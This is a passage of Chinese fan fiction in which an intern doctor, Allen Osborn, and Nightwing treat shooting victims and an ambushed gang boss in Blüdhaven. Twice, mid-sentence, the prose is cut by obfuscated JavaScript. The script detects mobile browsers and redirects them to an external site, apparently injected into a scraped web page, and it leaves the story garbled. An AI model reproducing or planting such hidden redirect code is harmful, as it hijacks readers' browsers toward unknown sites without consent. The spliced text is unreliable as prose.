米勒医生理解地用没受伤的手拍拍艾伦的肩膀:“好消息,今天你可以充分发挥你‘高超’的缝合技术了,我保证绝对不骂你缝得不好看。” 艾伦看着安迪受伤的手臂:“我以为你会生气。他让你的胳膊受伤了,如果子弹再偏一点,也许你就再也没办法上手术台。” 安迪俏皮地对着艾伦眨眨眼睛:“可是上帝保佑了我!我只需要修养两周就好了。” 艾伦拧着眉去看他:“我以为,保护自己、把危险扼杀在摇篮里是人类的本性?” “我的本性是乐观、和平以及对上帝的信仰。”安迪总是带着笑意的眼睛看着艾伦手下娴熟的缝合动作,脸上露出一丝满意,“况且我对医神阿波罗,阿斯克勒庇俄斯及天地诸神发过誓。” 艾伦无法理解,也无法共情。 他还以为安迪至少会给这家伙一拳。 安迪和艾伦走出病房,又被匆匆路过的护士推进了隔壁的2号治疗室。 里面躺着一位已经失去意识的布鲁德海文警察。 艾迪看了看他身上连接的监护器,心跳暂时平稳。 迪克抿紧嘴唇,看着明明今天才见过的同事现在就这么虚弱地躺在这里,随时有可能再次被推进急救室。 该死的罪犯。 他收拾好心情,拍了拍艾伦的肩膀:“今天辛苦你了,医生。还有米勒医生,希望你的胳膊快点好起来。如果有需要,我一定会准时出现。” 他猜想艾伦应该正在为老师的受伤而感到难过,就像他也会因为同事住院而对凶手气愤不已。等医生休息的时候,他很想给医生一个拥抱,也许那会让医生好受一点。 艾伦面色平静地看着躺在病床上已经睡过去的警察,又看了一眼隔壁的罪犯,内心毫无波澜。 忽然,他的目光停住了。 昏迷的警察脖子上,被乱糟糟的头发掩盖住的地方有一个不显眼的刺青。逆序的三螺旋紧紧缠绕在一起,和中间一只诡异的眼睛形成一种众星拱月的样子。 这个符号他刚刚似乎见过。 艾伦看着这人身上的警徽,嘴角突然露出一个意味不明的弧度。 6. 谁是谁的好朋友? 躺在病床上陷入昏迷的布鲁的海文警察名叫亚历克斯·佩德罗,土生土长的布鲁德海文人,父母从商,家境殷实,全部家庭成员全须全尾,至今都安然无恙地呆在别墅里。 亚里克斯·佩德罗本人则是个工作努力,性格阳光爽朗的青年,今晚对黑邦的突击行动中他是第一个冲进去的,也因此是目前还活着的人当中受伤最严重的一个。 艾伦站在病床前,盯着各种仪器上的线条和数据,默不作声。 “他会没事的。”夜翼站在医生身后,伸手拍拍艾伦的肩膀。 艾伦有些不适地皱皱眉,往旁边躲了两步。 “如果你的眼睛不是摆设的话,别对这些数据视而不见。”艾伦说道,“这里是医院,不是神殿。祈祷不会凑效。” 迪克张张嘴,突然觉得医生更值得一个安慰的拥抱了。 按照他对奥斯本医生的了解以及他们这么长时间的相处来看,医生在心情极度烦躁或极度开心的时候会变得特别嘴毒。 艾伦刚来医院实习,直面生死也许会让他产生心理创伤,这是实习医生们首先需要面对的问题。 医学院让他们学到了知识,但只有医院才能让他们将书本上学到的知识与现实联系在一起。当这种联系发生的时候,也许每个医生都会向自己发问—— 身为医生的我,能救下所有病人吗? 能救下某个人的妻子、某个人的丈夫、某个人的孩子或者某个人的父母吗? 病人不是课本上冷冰冰的病例,他们是被深爱的人,是一段欢乐的时光,一段温暖的记忆,一个家庭必不可少的成员。 就像超级英雄一样,夜翼也曾在无数个夜晚难以入眠,手握着蝙蝠镖质疑自己为什么没有救下受害者,致使一个家庭陷入痛苦的深渊。 “但我相信你会倾尽全力。”迪克轻声说道,“ 有时治愈,常常帮助,总是安慰,不是吗?” 不过迪克突然又想起他第一次见到奥斯本医生的时候——那个车祸现场用《stayibg’ alive》给心肺复苏做伴奏的医生眉宇间全是自信和傲气,他相信奥斯本医生会做到最好。 艾伦其实并没有注意到身边那个超级英雄变幻莫测的眼神。 他的脑子正在飞速转动,今天见过的信息如泉水一样在他的脑海中交汇起来。 他在今天医治的另一个黑邦成员身上见到了和这个警察身上同样的标记。Triskelion,逆序的三螺旋代表着生命、成长与自然循环,最早出现在位于爱尔兰米斯郡的纽格莱奇墓中,三螺旋最中心的眼睛为这个似乎拥有美好寓意的标志带来了一丝诡异。 “他是个好警察。”米勒医生走了进来,“布鲁德海文警局难得的好人。当然,格雷森警官也是个好人,幸好今晚的伤员名单中没有他。” 艾伦突然意识到他刚刚到底哪里觉得不对劲了,按照知道家人健全的布鲁德海文人的思维方式,正常人都不会选择警察这个职业吧,这么说来,这个亚历克斯确实是个难得的家伙。 艾伦回忆了一下他所知道的布鲁德海文警察的家庭状况—— 迪克·格雷森,哥谭小伙勇闯布鲁德海文,一看就是孤家寡人一个;埃里克·霍森,有妻有女,但他本人曾经坐过牢,和黑邦成员牵扯不休,手底下一点也不干净,除此之外,警局里还有几个坐过牢的,据说曾经有一个还是黑邦小头目,最近从线人身份洗白上岸了而已。 除了这这些‘典型’的布鲁德海文警察之外,警局里的大多数都是炸鸡警察,没有一个正儿八经的人才。 像亚里克斯·佩德罗这种阳光健康的布鲁德海文男孩实在是稀有品种。 夜翼有些尴尬地咳嗽了一声,完全没想到突然又从另一个医生口中听到了自己的名字,这回他没办法再回避了,不然显得太过刻意。 “格雷森警官确实不错,他很有正义感,帮了我很多忙!如果你们有紧急状况需要联系我,也可以去找他!” 艾伦嗖的一下扭过头:“……你到底和格雷森什么关系?” 迪克差点没反应过来:“……呃,我们是朋友。” 艾伦换上一副冷冰冰的微笑表情,镜片后面的眼神里藏满了警惕:“朋友?你敢和他交朋友?!” “……不……不行吗?我觉得格雷森警官是个挺不错的人。” 电锯警官当然是个不错的人,但你不是。 艾伦的眼神更加警惕了:“那又怎样?这不是你和他交朋友的理由。” 迪克差点为这奇怪的对话深刻反思自己是不是哪里惹到了艾伦,明明昨晚他们还十分愉快地坐在一起享受麦片。而且医生刚刚似乎还关心了夜翼的安全问题。 随后他瞥见了艾伦落在他身上的嫌弃的眼神。 聪明的夜翼恍然大悟:“……” 好吧,奥斯本医生表达关心的方式总是如此独特。并不是格雷森警官惹奥斯本医生生气了,而是夜翼。 他是怕格雷森警官遇到危险吧? 和超级英雄距离太近的后果就是容易成为靶子,大家都知道这一点。 艾伦还在用那双漂亮的绿眼睛紧紧盯着迪克脸上的多米诺面具。 迪克差点没忍住嘴角的笑意,所以他决定反客为主:“咳,所以你和格雷森警官是什么关系?” 艾伦移开目光,看上去十分忙碌地在病历上写写画画:“……完全不熟的邻居。” “哦,原来只是邻居。”夜翼煞有介事地点点头,“这么说来,我和他的关系可能比你和他的关系要更亲密一点。我们是好朋友。” 站在旁边的米勒医生嘴角抽搐。 他总觉得这个对话应该发生在幼儿园。 类似于——我和他是好朋友,你就不能是他的好朋友,我才是他最好的朋友,你离他远一点。 艾伦也不知道自己为什么生气,反正他就是突然生气了。 “随便。”奥斯本医生抬脚走出病房,只留下一个高贵冷艳的背影。 迪克噗的一声笑出来。 笑完心想,格雷森警官,你还真是受人欢迎啊。夜翼和奥斯本医生都争着要和你当全世界最好的朋友呢! “……是我的错觉吗?”米勒医生看着艾伦离去的背影,喃喃低语,“我好像一个多余的NPC或者恋爱游戏里的那条狗。” 多余的米勒医生摸了摸自己受伤的胳膊,叹了口气,走出病房。 一对神色焦虑的夫妇急匆匆地向他们走来,护士领着他们在艾伦面前站定:“米勒医生,奥斯本医生。这是亚历克斯·佩德罗先生的父母。” 艾伦看了米勒医生一眼,在一个呼吸之间重新进入医生的角色。 在安迪·米勒的示意下,艾伦对着匆匆赶来的佩德罗夫妇露出一个公式化的笑容,开始尽职尽责地对他们讲述亚历克斯目前的病情。 “……脊椎多处骨折,导致他脊髓受损……”艾伦用尽量简单的语言描述道,“脊髓的创伤正好发生在负责发出号令控制腿部的部分,之前的手术已经稳定住他严重受损的脊椎,但……” 满目惶然的佩德罗夫妇打断艾伦带着各种专业名词的解释,手足无措地问出每一个病人家属都会问的问题:“他还能和以前一样吗……我的儿子他能重新恢复健康吗?” 恐怕是不可能了,除非有奇迹。 然而话到嘴边,艾伦却脱口而出: “我不知道。” “可你是医生!你怎么会不知道?”佩德罗夫人情绪激动地伸出手,紧紧攥住了艾伦的衣角,“你怎么能不知道?!我要换个更好的医生——” 艾伦推了推眼镜,不加任何掩饰地平铺直叙:“我猜你们分不清楚医生和上帝的区别——他能否恢复要看后续的治疗情况,我只能告诉你们目前他情况平稳……” 安迪·米勒已经看不下去了,他走上前去挡在艾伦面前,将佩德罗夫妇邀请进会客室,然后用温柔平和的语调向他们保证布鲁德海文医院会倾尽全力救治他们的儿子。 艾伦抿着嘴站在安迪身边,看上去完全不在意佩德罗夫妇看他的眼神。 好在米勒医生很擅长和病人家属交流。 佩德罗夫妇离开之后,安迪对着艾伦叹了口气:“艾伦,和病人沟通是一门学问,虽然说‘我不知道’是一句诚实的不能再诚实的实话,但你要顾及病人家属的心情。” 一股熟悉的烦躁感涌入艾伦心头,无数强压的记忆乱糟糟的涌现在他脑海中,让艾伦有些烦闷地皱着眉头。 艾米丽的身体在地面上绽开血花的时候,他手抖打碎了一只培养皿,然后被诺曼·奥斯本狠狠打了一巴掌。 诺曼·奥斯本是怎么说的来着? ——我没空来处理这些无聊的事。只有无能的人才会选择自杀,死就死了,这是上帝安排的命运。 负责治疗他母亲的医生是诺曼·奥斯本的专属医生,那人用漫不经心的语气对他说了一句节哀顺变,然后就离开了。 安迪还在絮絮叨叨,艾伦听见对方说着有关人文关怀和换位思考的种种理论,越听越烦躁。 最后,艾伦所有的情绪汇聚成一句话:“照顾他们的心情不是我的责任,他们要为自己的情绪负责,我只是说出客观事实而已。” 我没有错,我不可能犯错。 艾伦在心底反复重复这句话。 安迪张了张嘴,欲言又止。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805824|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他想,也许他有些操之过急。艾伦·奥斯本专业过硬,知识广博,他迫不及待地想看到明日之星冉冉升起,所以他将很多原本并不属于实习医生应该负责的事情堆到艾伦头上,就像一位殷切的老父亲那样迫切的压着艾伦成长。 但他今天突然发现,艾伦有个致命的缺点。 也许是他多想了。 安迪扭过头,视线不由自主地落在急诊科常驻的心理医生身上。 急诊科医生也许是心理疾病最高发的人群之一,他们的心理医生查尔斯·卡特不仅负责调控病人的心理状态,还得随时关注他们这群身心都不怎么健康的医生。 “艾伦,我有个想法,你……” 安迪看着查尔斯医生忙碌的背影,扭过头去重新盯着艾伦的眼睛。 然而他话还没有说完,护士就急匆匆推开门,打断了他们之间的谈话。 “第十大街!快!那边发生了枪击案,奥斯本医生,你需要跟着救护车一起出发!” 艾伦松了口气。 他立刻对着米勒医生点了点头:“十分感谢您的帮助,下次我会尝试按照你的方法通知病人家属。” 冷冰冰的笑容再次把米勒医生噎得说不出话,这让米勒医生更坚定了自己的决定。 摆脱了米勒医生的艾伦头也不回地向着停在医院外的救护车冲过去。 等他系好安全带,一扭头就看见了坐在驾驶座上的熟悉人影。 仍旧穿着夜翼制服的迪克朝着艾伦露出一个笑容:“看来今晚我们必须得一块行动了,医生。” 艾伦冷着脸,心情更糟糕了:“别拖后腿。” 迪克看着艾伦比刚刚更冰冷的脸色,心想医生的嘴毒程度也许会在接下来的时间里翻倍。 他做好了心理准备:“放心吧,医生。你只管去救人,剩下的交给我负责!我们会是最棒的搭档!” 他单手握住方向盘,踩下油门的同时另一只手攥成拳头伸到了艾伦面前。 艾伦:…… 他不想知道自己为什么能明白这个手势的含义。 “别做这么无聊的事。” “来嘛!我们碰个拳,预祝行动顺利!” “我拒绝。” “拜托了医生,你就和我碰个拳吧!击掌也行的!” “我不可能做这么幼稚的事!我是医生,不是小学生。” “这哪里幼稚了?小学生才会觉得幼稚,对超级英雄和医生来说刚刚好!如果不是我在开车,我们还可以来一整套Hiphop!那才是潮人该有的打招呼方式!” 潮得奥斯本医生差点得风湿。 然后,两人的座椅之间突然冒出来一颗棕色脑袋。 谷歌急救员丹尼尔瞪着一双充满渴望的眼睛,期待地看着艾伦:“我也想要!击掌就可以了,医生和我击个掌吧!我需要你的祝福!” 祝福什么祝福?一次简单的救援而已。 艾伦瞪着眼前两个莫名其妙的家伙,半点不为所动。 然后他的手就被丹尼尔强行从兜里扯出来,按在了夜翼伸出来的手上。 丹尼尔想了想,又把医生的手抬了起来,把自己的手塞进了夜翼的手和医生的手之间,脸上洋溢起满是幸福的笑容。 “1——2——3!我们是最棒的组合!” 艾伦这会儿彻底忘了刚刚那些乱七八糟的情绪,只臭着脸觉得这两个家伙聒噪得像房东养的鹦鹉。 夜翼已经将救护车开出了一种坦克的架势,原本按照正常行驶需要40分钟才能到达的路程,在他手里只开了17分钟20秒。 一看就是平时经常飙车的主。 艾伦哼了一声,完全没意识到他刚刚冷冰冰的面色现在终于恢复到了正常程度,总算不再一副风雨欲来的架势。 三人迅速从救护车上跳下来,一秒进入工作状态。 然而现场的景象还是令他们大吃一惊。 急救员接收到的信息是第10大道附近一辆车遭到枪击,侧翻倒地,受伤人员状况不明,急需帮助。 有路过的人报了警,同时拨打了急救电话。 现场的情况比艾伦预料中的糟糕得多,受到袭击的居然是一辆警车。这辆专用警车是用来运送囚犯的。 此刻,警车车门大开,里面空无一人。原本应该待在里面的囚犯早已消失不见,只剩下两个浑身是血的狱警躺在原地,双目空洞。 “确认死亡。”艾伦的手从一个人的颈动脉上移开。 “小心!” 艾伦看见夜翼突然朝他扑过来。 紧接着就是一阵天旋地转,他腰上一痛,整个人似乎都被拉扯着离开了地面。 7. 要救吗? 艾伦被迫体验了一把被超级英雄带飞的感受,和上次被蜘蛛侠一把扛起来的时候体验感差不多糟糕——他头晕目眩,前庭器官承受不住这种过山车一般的旋转和高速移动,让他下意识地掐了一把眼前最近的物体。 圆润Q弹,手感极佳。 但晕乎乎的艾伦完全不知道自己掐中了什么,他愤怒地又下意识捶了那坨东西两下,心里只想让夜翼赶紧停下来,不然他就要吐了。 迪克:…… 医生的手劲儿挺大的。 迪克一个体操动作,灵巧地扛着医生在半空中转体,钩爪枪甩出一个漂亮的弧度,躲开每一颗射向他们的子弹。 艾伦感觉自己像一只被扔进滚筒洗衣机里的无辜的猫。 猫在受到惊吓的时候会干什么呢? 会哈气,会伸爪子挠人。 艾伦当然不会这么干,毕竟他是个注重形象的人。 就在他很想去摸别在腰后的枪,给他肚子底下这个坚硬的肩膀来一梭子,又或者给不远处造成这个场面的罪犯来一梭子的时候,夜翼终于停下了。 夜翼的呼吸声在奥斯本医生耳边响起,艾伦甚至能够闻到夜翼身上的血腥味和火药味。 医生一边想吐一边想,这些血迹应该是别人的,他记得这家伙在医院里活蹦乱跳得像只准备去码头整点儿薯条的鸟。 “别怕,医生,这里很安全。”夜翼搂着医生的腰,扶着脸色苍白的医生站稳。 等艾伦意识到自己已经被夜翼放在地上后,总算松了口气。他努力了半天,最后还是选择缓缓靠着墙毫无形象地蹲了下去。 像一颗无辜的土豆。 左右两侧都是墙,他身后还蹲着另一颗可怜兮兮的土豆——瑟瑟发抖的谷歌急救员,夜翼顺手把他也捞了过来。 就是对方的待遇没那么好,丹尼尔是被夜翼一脚踢进巷子里的。 这条小巷子显然是夜翼选择的绝佳藏身地,按照刚刚子弹射过来的角度,这里肯定不会被打中。 艾伦的眼镜在刚刚旋转飞天的过程中已经消失不见,他头发乱糟糟,眼神迷茫地蹲在地上看得夜翼不知所措。 夜翼觉得自己像是遇见了一只非要跟他回家的绿眼睛流浪猫。 三秒钟后,绿眼睛流浪猫一扭头,又干呕了几声。 迪克十分抱歉地拍了拍医生的后背:“抱歉,下次我会记得不带着你在半空中转圈了。” “还有下次?!”艾伦蹭蹭蹭后退几步,警惕地贴在墙角,绿眼睛瞪着夜翼,“我警告你,想都别想!” 嗯……猫咪不太满意他今天的示好,正在冲他哈气,可怜流浪猫变成凶巴巴的坏脾气猫了。 夜翼莫名其妙伸出手,在医生还没反应过来的眼神中迅速摸了一把医生的头发。 艾伦:“……” 迪克:“咳……你头发上有片树叶。”我的手他有自己的意志,你信吗? 两人大眼瞪小眼,略显诡异的气氛突然被丹尼尔响亮的啜泣声和不远处响起来的警笛声打断。 布鲁德海文警局的人显然也已经收到消息,并且赶到了现场。 平日里懒散的布鲁德海文警察们这次出警很快,行动力极强。 毕竟囚犯被劫走这件事有点难看,不像黑邦据点爆炸一样还可以被美化成英勇的警察们和黑邦成员搏斗后壮烈牺牲,今晚的劫囚事件处理得不好一定会给布鲁德海文警局局长的业绩添上难以擦除的一抹败笔。 迪克扭头看向警车开来的方向,紧紧皱起眉头。 在刚刚他们遇到袭击的时候,夜翼就基本上判断出附近只有一个开枪的人,他可以很轻松地解决。 但他必须问清楚杀手还留在这里的目的,以及被劫走的囚犯——外号‘乌贼’的黑邦小头目——现在在哪里。 可如果是布鲁德海文警局的特别行动队出手,恐怕只会选择当场击毙行凶的罪犯,将这件事简单粗暴地画上句号。 但夜翼总觉得今晚发生的事情隐隐之间有些联系。 先前他以为大摇大摆闯进布鲁德海文急诊科对埃里克行凶的三名罪犯是摆在明面上引人注目的靶子,但现在看起来,恐怕就连爆炸案在内都是个幌子。 他们最终的目的既不是埃里克也不是那个无关紧要的黑邦据点,而是第十大街这里被人劫走的囚犯‘乌贼’。 说起‘乌贼’,他还是夜翼亲手抓进去的。 这家伙就是当初他遇见艾伦的时候,指挥手下制造车祸谋杀埃里克的黑邦头目。那场车祸的肇事司机有个妻弟常年跟在‘乌贼’身边,替‘乌贼’做了许多见不得光的事。 迪克忍不住有些自责,因为前不久他就意识到埃里克·霍森被人报复多少有点他的缘故在。 他刚到布鲁德海文后不久,就和一个占据了第十大道附近贫民窟的黑邦团伙产生了冲突。因为迪克发现这个绝大部分由底层白人小混混组成的帮派居然能搞到层出不穷的新型毒品,并且依靠这种毒品赚的盆满钵满。 虽说现在携带大麻和少量硬性毒品在某些州已经合法,但这些合法地区中并不包括哥谭和布鲁德海文。 一开始迪克以为这些会是高纯度的海|洛|因或者其他提纯后的硬毒品,但他却一直没能得到哪怕一丁点儿样品用来分析。 那些被他抓住的混蛋死不承认自己拥有这种毒品,并且像是有所预料一般,在他拿到那些毒品之前,它们就已经被处理干净了,干净得就好像从来没存在过一样。 更糟糕的是,根据迪克的观察,这东西会让一个弱不禁风的人力气变得奇大无比,能徒手捏断铁链,一拳打爆防盗门。吸毒者甚至会主动攻击周围的一切人和物。 迪克还发现这些吸毒者居然并没有吸食期间的任何记忆,唯一的留下的就是比普通毒品更加飘飘欲仙的体验,也因此,这东西现在有市无价。 这让迪克不得不产生一些糟糕的联想。 或许那东西根本不是毒品,而是某种精神控制类药物又或者病毒。再往后深想一步,背后隐藏的人说不定想利用这种精神控制类药品做点什么,就像曾经试图用恐惧毒气或者爱丽丝病毒控制哥谭的稻草人、疯帽匠一样。 一旦这东西泛滥开,迪克甚至觉得布鲁德海文有可能会变成浣熊市。 他顺着黑邦的底层成员一路查上去,最后居然查到了几个哥谭人身上。 迪克怀疑这个帮派和一股来自哥谭的势力联合在一起了,暗中还做着买卖人口的勾当。 蹲点半个多月之后,他终于在红罗宾的帮助下在一艘即将驶离布鲁德海文的小渔船上抓到了这个代号为‘乌贼’的小头目。 经验还不够丰富的迪克警官‘配合’夜翼收押了‘乌贼’,并且当时就要求对‘乌贼’进行审讯和起诉。 但‘乌贼’聘请的律师趾高气昂地在局长办公室里喝茶,淡定地等着警局又一次妥协。 就在迪克以为埃里克也会因为不愿意招惹麻烦而同意把人放出去的时候,是埃里克批准了迪克的拘捕令。 原因迪克至今没有想明白,但也许这就是埃里克被报复的理由。 可令夜翼感到疑惑的是,为什么‘格雷森警官’没有遭到同样的报复?原本他都准备好再送几个混蛋进监狱—— 砰—— 子弹擦着墙角过去,却始终没办法射中艾伦所在的角落,夜翼选择的藏身地点确实很不错。 但艾伦十分敏锐地感受到,开枪的人正在恐惧、纠结,也许再拖一会儿那人的情绪就要崩溃了——从他开始变得毫无章法的子弹痕迹中可以看得出来。 谷歌急救员拉着奥斯本医生的衣角,神情比第一次见到奥斯本医生的时候还要崩溃:“呜……我为什么要当急救员?明明我的老师都跑了,我他妈为什么还要留下呜呜我是个蠢货,哪怕留在哥谭生活也比……” 夜翼诧异地看了谷歌急救员一眼,心想你小子还挺有创意。 从哥谭跑来布鲁德海文,是为了只低了不到零点一个百分点的犯罪率吗? 艾伦听着枪声,越听越生气——他刚刚就因为这个不入流的货色差点被夜翼颠到吐出来。 所以他踢了丹尼尔一脚:“站起来,别像个发霉的土豆一样!” 说完他一把推开夜翼……没推动。 奥斯本医生于是踩着迪克的脚,把枪从后腰掏出来,强行从夜翼的肩膀和墙角挤出脑袋向外看。 现在他没空计较夜翼莫名其妙摸他脑袋的过分操作,他要报复。上次对他开枪的混蛋在病床上躺了一个月还支付了天价账单——勉强算是混蛋律师干的唯一一件好事。 这次他可以亲自解决,他不杀人,他要让对方在医院住满两个月并且把裤子都赔给他。 夜翼一把按住医生的脑袋,像推不听话的猫一样把人往墙角里推:“我去搞定外面的,你给我待在这里别乱动,听见了吗?” 医生会听他的吗?那显然是不会的。 所以夜翼收获了奥斯本医生鄙视的眼神和更加用力的挣扎。 “我说了用不着你管我。”艾伦灵活地从包里又掏出一把枪,随手把背包扔出去。 刚刚隐藏在角落里朝着他们射击的混蛋果然又开枪了。 艾伦眼疾手快地对着九点钟方向砰砰就是两枪,对面没了声响。艾伦一把扯开谷歌急救员的上衣,把矮墩墩的急救员扯成一个滴溜溜的陀螺。陀螺的衣服再次被艾伦当成诱饵扔出去,紧接着又是对面传来的枪声。 艾伦这次瞄得更准了。 他听见了对面的痛呼声。 “奇怪。”艾伦低声说道,“为什么凶手要留在这里?” 这也是夜翼疑惑的问题。 迪克管不住奥斯本医生,但他可以去管管罪犯。在确定奥斯本医生开枪的准头绝对没问题,说打手腕绝不打脚腕之后,他抢走了医生所有的枪,在医生气急败坏的眼神里一个闪身窜了出去。 “谢谢你的礼物,医生!”迪克再次伸手撸了一把医生的头发。 艾伦伸脚想绊倒夜翼,失败。 开枪的杀手似乎也早有准备,在迪克出现的一瞬间就马上扔出了闪光弹。 夜翼游刃有余地躲开,并一脚把闪光弹踢开。 与此同时,布鲁德海文警局的车已经停下,全副武装的特别行动队队员们下了车,警惕地躲在车门后和各个拐角处。 迪克冲着准备向这个方向开枪的布鲁德海文警员喊道:“不要射击!” 布鲁德海文的警员们并不听从夜翼的指挥,他们大多数人还对这个莫名其妙冒出来的超级英雄怀有敌意。 子弹不要钱地冲着迪克射过来,也击穿了躲在墙角的罪犯的肩膀。 那人慌不择路地冲出来,迅速往迪克身后躲。 在看清罪犯的脸之后,迪克忍不住瞪大眼睛。 因为这家伙不是别人,居然正是他以为被人劫走的‘乌贼’本人。 所以今天这场劫囚活动并不是‘乌贼’的手下策划的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805825|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 布鲁德海文的警员依旧不依不饶地朝着迪克的方向射击,有人在大声质问:“你在保护罪犯吗,夜翼?滚出布鲁德海文吧,这里不需要超级英雄!” 迪克举起手:“我是来帮忙的,先停下,他是……” “局长命令,我们要当场击毙罪犯!任何阻碍我们的人都视作罪犯的同伙,抱歉了夜翼,建议你快点离开。” 迪克刚想继续解释躲在他身后的就是‘乌贼’本人,因此他身上必然还隐藏着重要线索,他们应该先审问—— 然而,另一颗子弹突然从斜上方呼啸而来。 不是布港的警察干的。 迪克一惊。 ‘乌贼’条件反射地推了一把夜翼,于是迪克只好向前翻滚躲开那颗冲着他脑袋来的子弹,顺便狠狠给了‘乌贼’一脚。 迪克的目光匆匆扫过角落,却看见医生的眼睛紧紧盯着另一个方向。 就在‘乌贼’躲在角落里暗自庆幸的时候,另一颗子弹从他身后以不可思议的角度射来,迅速击穿了他的腹部。紧接着又是两枪。 迪克迅速向枪声响起的方向跑去。 奥斯本医生从角落里窜了出来,同时手里还向着布港警察的方向扔出了一个圆滚滚的小球。 小球冒出一阵烟雾,阻挡住布鲁德海文警员看向他们这个方向的视线。 奥斯本医生的视线和迪克对上,两人迅速都明白了彼此的意思。 夜翼迅速和艾伦一起把人拖进角落里。 “交给你了,奥斯本医生!” 艾伦不耐烦地挥了挥手。 谷歌急救员这会儿还吓得缩在角落里不敢动,看着艾伦忙碌的样子他又感到头脑一片空白。 “奥斯本医生……我……” “冷静下来。”艾伦给了哆哆嗦嗦的丹尼尔脑袋一巴掌,“和我一起救人。” 丹尼尔愣住,直勾勾地盯着艾伦冷酷的眼神。 在夜色中,医生的眼睛像是变成了墨绿色,路边的灯光打在他脸上,长长的睫羽在他脸颊上投出一小块影子。 不知道为什么,丹尼尔突然想到了教堂里没有感情的神像。 小时候他问过母亲,为什么他像神像祈祷,神像却不会说话。 当时他的母亲是怎么回答的来着? 因为神爱世人,只叫一切信他的都得永生,不需要语言,更不需要表情。他在永远安静地、全知地看着你。 丹尼尔恍恍惚惚地平静了下来,棕色眼睛瞪大了一些。 艾伦看着丹尼尔,不由得想起丹尼尔笔记密密麻麻的本子和被他抄写了好几次的《staying alive》的歌词。 但他在某一瞬间觉得丹尼尔的状态很不对劲,就像居住在丹尼尔身体里的不是他本人一样。 他忽略掉心头这点小小的异样。 “最棒的组合,你说过的——别拖我后腿,你做得到。”艾伦俯身去查看‘乌贼’的情况,“现在,按我说的做。” 丹尼尔下意识地听从艾伦的指挥,原本慌乱的心终于彻底平静下来。 也不知‘乌贼’是运气好还是运气不好,那几枚子弹不可能让他安然无恙,更没有让他马上毙命永享安详。 ‘乌贼’只能在死亡线上拼命挣扎,他的腹部有大量鲜血涌出,同时还有鲜血漫过他的口鼻。 他瞪大着眼睛狠狠瞪着艾伦,里面藏满了不甘,不过很快这种充满不甘的光芒就熄灭了,‘乌贼’陷入了昏迷。 艾伦的听诊器放在‘乌贼’胸前。 “……他……我知道他,萨勒姆兄弟会的头目,也许……也许我们没必要那么努力救他。” “真是谢谢你,谷歌。”艾伦面无表情地瞥了丹尼尔一眼,“帮大忙了。” 丹尼尔嗫嚅着不敢说话。 “……他害死了很多人。” “我会把他救活。” “可是……” “没有可是。他没有脉搏了,腹部正在大量出血。”艾伦不带任何感情地说道。 外面的夜翼似终于和布鲁德海文警员达成一致,并且抓到了朝着‘乌贼’放冷枪的真正凶手。枪声暂停,艾伦刚刚扔出去的烟雾弹已经失效,现在夜翼朝着他们跑过来。 “带他回救护车!”艾伦二话不说指挥道。 所有布鲁德海文警员警惕地看着昏迷不醒的‘乌贼’。 丹尼尔虽然不想救‘乌贼’,但他更不愿意辜负奥斯本医生的期待。于是在艾伦的指挥下,他正用生平最响亮的声音唱着《staying alive》,调子从布鲁德海文歪到了亚特兰蒂斯,在所有人都神情紧张的时候显得有些过分滑稽。 迪克看见布港几个警员受不了地捂住了耳朵。 不过幸好节拍是对的。 “我的生命有时起,有时落, 如果我得不到,我就努力尝试。 ……我活蹦乱跳,永不服输!”* 在(丹尼尔认为的)艾伦的‘赞赏’目光中,谷歌急救员感觉自己胸前的急救标志更醒目了。 然而下一秒,他直接破音。 艾伦的手术刀干脆地切开了乌贼的胸腔。 “ah~ah~活着,活……我靠你要在这里给他做开胸手术?!!” “没错。你也可以当我只是手痒想练习一下胸廓切开术。”艾伦拿出开胸器,神情带着点儿愉悦,“夹住主动脉,计时开始。好了,现在我们还有30分钟找到出血点!” 8.好医生? 急促的铃声不断响起,布鲁德海文急诊科的忙碌似乎从未停下过。 每个出现在这里的人都步履匆匆,赶着投胎一样的脚步不停敲击地板砖。 被夜翼开走的救护车终于返程,一个‘稳重’的急刹车停稳在急诊科门前的空地上。 “47岁男性,GCS 6,腹部多处枪伤,两条静脉补液……”丹尼尔一边大声喊着,一边推动担架床,“……我们需要一间手术室!” 艾伦手中的止血钳紧紧夹在昏迷不醒的‘乌贼’的主动脉上,他的手探入乌贼的胸腔,努力让这个黑邦头目的心脏继续维持供血。 手术服上还沾有血迹,护目镜与口罩把奥斯本医生那张俊美的脸挡得严严实实。 不过急诊科的护士医生们还是根据他那头醒目的红发认出了他。 情况危急。 尽管布鲁德海文的急诊科因为那位哥谭阔佬的缘故引入了一辆最先进的、能做手术的救护车,但艾伦也只能暂时保证‘乌贼’不立马去见撒旦。 这种稳定持续不了多久,不立刻进行手术的话,‘乌贼’必死无疑。 艾伦没空去理会周围的情况,直到手术室准备妥当,他才松开手,看着穿戴好手术服的安迪·米勒、麻醉师和另一位外科医生以及一大群护士一起走进手术室。 安迪回头看着艾伦:“还愣着干什么?快点去再做一次术前消毒,你不准备亲手缝合你打开的胸腔吗?……哦,我们还可以赠送他一场切开腹部的手术,这个该死的幸运儿!” 艾伦呆了三秒,然后像个没头苍蝇一样扭头就跑,一下子撞在迪克身上。 迪克一把拉住Dr.没头脑:“奥斯本医生,那边才是更衣室!” 